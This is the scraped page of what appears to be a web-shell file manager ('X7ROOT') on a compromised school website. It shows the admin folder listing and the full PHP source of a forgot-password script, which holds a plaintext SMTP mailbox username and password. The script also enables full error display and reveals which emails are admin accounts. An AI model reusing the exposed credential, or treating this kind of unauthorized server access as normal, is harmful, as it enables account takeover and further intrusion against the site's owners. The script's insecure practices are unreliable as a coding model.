X7ROOT File Manager
Current Path:
/home/u126090504/domains/chanakyahss.org.in/public_html/admin
home
/
u126090504
/
domains
/
chanakyahss.org.in
/
public_html
/
admin
/
📁
..
📄
achievers.php
(5.15 KB)
📄
admissions.php
(5.67 KB)
📄
banners.php
(5.86 KB)
📄
change_password.php
(3.54 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(6.61 KB)
📄
downloads.php
(4.91 KB)
📄
export_franchise.php
(930 B)
📄
faculty.php
(7.22 KB)
📄
forgot_password.php
(6.52 KB)
📄
franchise.php
(7.28 KB)
📄
gallery.php
(3.08 KB)
📄
governing-body-manage.php
(9.12 KB)
📄
grievance-update.php
(1003 B)
📄
grievance-view.php
(5.32 KB)
📄
grievances.php
(5.79 KB)
📁
includes
📄
index.php
(82 B)
📄
login.php
(6.59 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(4.27 KB)
📄
manage_media.php
(3.02 KB)
📄
manage_photos.php
(6.87 KB)
📄
manage_videos.php
(3.62 KB)
📄
new_password.php
(3.9 KB)
📄
notice.php
(16.36 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(15.23 KB)
📁
phpmailer
📄
popup.php
(10.68 KB)
📄
public-disclosure.php
(7.33 KB)
📄
reset_password.php
(2.27 KB)
📄
secure_session.php
(1000 B)
📄
settings.php
(5.21 KB)
📄
submit-grievance.php
(4.97 KB)
📄
syllabus.php
(4.68 KB)
📄
testimonials.php
(10.25 KB)
📄
timetable.php
(3.68 KB)
📄
update_status.php
(1.29 KB)
📄
upi_settings.php
(1.52 KB)
Editing: forgot_password.php
<?php /******************************************************* * Forgot Password (Standalone) * - Shows all PHP errors while debugging * - Detects PHPMailer path (PHPMailer/ or phpmailer/) * - Uses Hostinger SMTP *******************************************************/ error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('display_startup_errors', 1); // Fatal errors ko bhi screen par lao register_shutdown_function(function () { $e = error_get_last(); if ($e && in_array($e['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR])) { http_response_code(500); echo "<pre style='padding:16px;background:#111;color:#0f0'>"; echo "FATAL ERROR: {$e['message']}\nFile: {$e['file']}\nLine: {$e['line']}"; echo "</pre>"; } }); // MySQLi errors as exceptions (easy debug) if (function_exists('mysqli_report')) { mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); } // NOTE: Forgot page should be public; don't force login here. // include 'secure_session.php'; require_once __DIR__ . '/../config.php'; // must define $conn (mysqli) // ---- SMTP CONFIG (preferably keep in config.php) ---- $SMTP_HOST = 'smtp.hostinger.com'; $SMTP_USER = 'no-reply@kipsbls.org'; // <- YOUR mailbox $SMTP_PASS = '9861845796Aa@#'; // <- YOUR mailbox password $SMTP_PORT = 587; $FROM_EMAIL = 'no-reply@kipsbls.org'; $FROM_NAME = 'kips'; $REPLY_TO = 'support@kipsbls.org'; $APP_BASE_URL = 'https://kipsbls.org'; // ---- PHPMailer includes (supports PHPMailer/ or phpmailer/) ---- $pm_base_options = [ __DIR__ . '/PHPMailer/src', __DIR__ . '/phpmailer/src', ]; $pm_src = null; foreach ($pm_base_options as $opt) { if (is_dir($opt) && file_exists($opt . '/PHPMailer.php')) { $pm_src = $opt; break; } } if (!$pm_src) { // As a last resort, try composer autoload if present if (file_exists(__DIR__ . '/../vendor/autoload.php')) { require_once __DIR__ . '/../vendor/autoload.php'; } else { die("<pre>PHPMailer not found. Upload library to /admin/PHPMailer/src/ (or /admin/phpmailer/src/) or install via Composer.</pre>"); } } else { require_once $pm_src . '/PHPMailer.php'; require_once $pm_src . '/SMTP.php'; require_once $pm_src . '/Exception.php'; } use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; $flash = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $email = trim($_POST['email'] ?? ''); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $flash = "<div class='alert alert-danger mb-3'>❌ Invalid email address.</div>"; } else { // find admin user $stmt = $conn->prepare("SELECT id, username FROM register WHERE email=? AND usertype='admin' LIMIT 1"); $stmt->bind_param("s", $email); $stmt->execute(); $stmt->bind_result($uid, $username); $found = $stmt->fetch(); $stmt->close(); if (!$found) { $flash = "<div class='alert alert-danger mb-3'>❌ This email is not registered as admin.</div>"; } else { // token + expiry $token = bin2hex(random_bytes(32)); $expires = date("Y-m-d H:i:s", time() + 3600); // 1 hour $stmt = $conn->prepare("UPDATE register SET reset_token=?, reset_expires=? WHERE id=?"); $stmt->bind_param("ssi", $token, $expires, $uid); $stmt->execute(); $stmt->close(); $reset_link = $APP_BASE_URL . "/admin/reset_password.php?token=" . urlencode($token); // send email $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $SMTP_HOST; $mail->SMTPAuth = true; $mail->Username = $SMTP_USER; $mail->Password = $SMTP_PASS; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = $SMTP_PORT; $mail->setFrom($FROM_EMAIL, $FROM_NAME); $mail->addAddress($email, $username ?: 'Admin'); if (!empty($REPLY_TO)) { $mail->addReplyTo($REPLY_TO, 'Support'); } $mail->isHTML(true); $mail->Subject = 'Password Reset Request'; $mail->Body = " <p>Hello <b>" . htmlspecialchars($username ?: 'Admin') . "</b>,</p> <p>Click the link below to reset your password (valid for <b>1 hour</b>):</p> <p><a href='{$reset_link}' target='_blank'>{$reset_link}</a></p> <p>If you didn’t request this, you can safely ignore this email.</p> <br><p>Regards,<br>Ajineeta Foundation Admin</p> "; $mail->AltBody = "Reset your password (valid 1 hour): {$reset_link}"; // SMTP debug if needed: // $mail->SMTPDebug = 2; $mail->Debugoutput = 'error_log'; $mail->send(); $flash = "<div class='alert alert-success mb-3'>✅ Reset link sent. Please check your email (Inbox/Spam).</div>"; } catch (Exception $e) { error_log('Mail error: ' . $mail->ErrorInfo); $flash = "<div class='alert alert-danger mb-3'>❌ Email send failed. Please try again later.</div>"; } } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Forgot Password | Admin</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body{background:#f8f9fa} .card{border-radius:12px} </style> </head> <body class="bg-light"> <div class="container py-5"> <div class="col-md-5 mx-auto"> <div class="card shadow"> <div class="card-body"> <h3 class="text-center mb-3">Forgot Password</h3> <?= $flash ?> <form method="POST" autocomplete="off" novalidate> <div class="form-group"> <label>Enter your registered admin email</label> <input type="email" name="email" class="form-control" required> </div> <button type="submit" class="btn btn-primary btn-block">Send Reset Link</button> </form> <p class="mt-3 text-center"><a href="login.php">Back to Login</a></p> </div> </div> </div> </div> </body> </html>
Upload File
Create Folder